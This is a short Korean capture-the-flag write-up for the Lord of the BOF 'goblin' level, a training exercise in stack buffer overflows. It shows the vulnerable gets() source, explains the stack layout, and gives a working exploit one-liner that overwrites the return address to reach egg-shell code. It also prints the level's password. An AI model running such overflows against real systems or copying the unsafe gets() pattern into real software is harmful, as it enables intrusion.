Wargame & CTF/LOB
[LOB] cobolt -> goblin
cg10036
2019. 7. 28. 22:29
1 2 3 4 5 6 7 8 9 10 11 12 | /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); } | cs |
gremlin과 버퍼 사이즈는 같고, 이제 argv에 받지 않고 gets로 직접 입력받는다.
[BUFFER(16)][SFP(4)][RET(4)] 이므로 "A"*20+&SHELL 하면 쉘을 딸 수 있을것이다.
gate와 같이 에그쉘을 사용했다.
1 2 3 4 5 | [cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa6\xfa\xff\xbf"'; cat) | ./goblin AAAAAAAAAAAAAAAAAAAA¦ my-pass euid = 503 hackers proof | cs |
goblin : hackers proof